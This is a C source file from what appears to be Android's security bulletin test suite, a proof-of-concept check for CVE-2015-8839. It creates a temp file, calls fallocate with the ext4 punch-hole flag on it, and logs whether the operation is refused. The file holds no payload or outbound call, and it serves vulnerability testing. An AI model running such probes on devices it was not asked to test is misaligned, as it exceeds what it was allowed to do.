hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/poc.c

/**
 * Copyright (C) 2018 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#define _GNU_SOURCE
#include <cutils/log.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/falloc.h>
#include <linux/magic.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/utsname.h>
#include <sys/vfs.h>
#include <unistd.h>

int main(void) {
  int fd = -1, result = -1;
  char tmpFile[32];
  struct statfs sfs;

  memset(tmpFile, 0, sizeof(tmpFile));
  strncpy(tmpFile, "/data/local/tmp/tmpFile", 24);

  fd = open(tmpFile, O_WRONLY | O_APPEND | O_CREAT, 0644);
  if (fd < 0) {
    ALOGE("Creation of tmp file is failed [%s]", strerror(errno));
    return -1;
  }

  fstatfs(fd, &sfs);
  if (sfs.f_type == EXT4_SUPER_MAGIC) {
    result = fallocate(fd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, 0, 1);
    if (result < 0 && errno == EOPNOTSUPP) {
      ALOGD("fallocate result [%s] errno [%d]", strerror(errno), errno);
      ALOGE("fallocate result EOPNOTSUPP");
    }
  }

  if (fd) {
    close(fd);
  }

  return 0;
}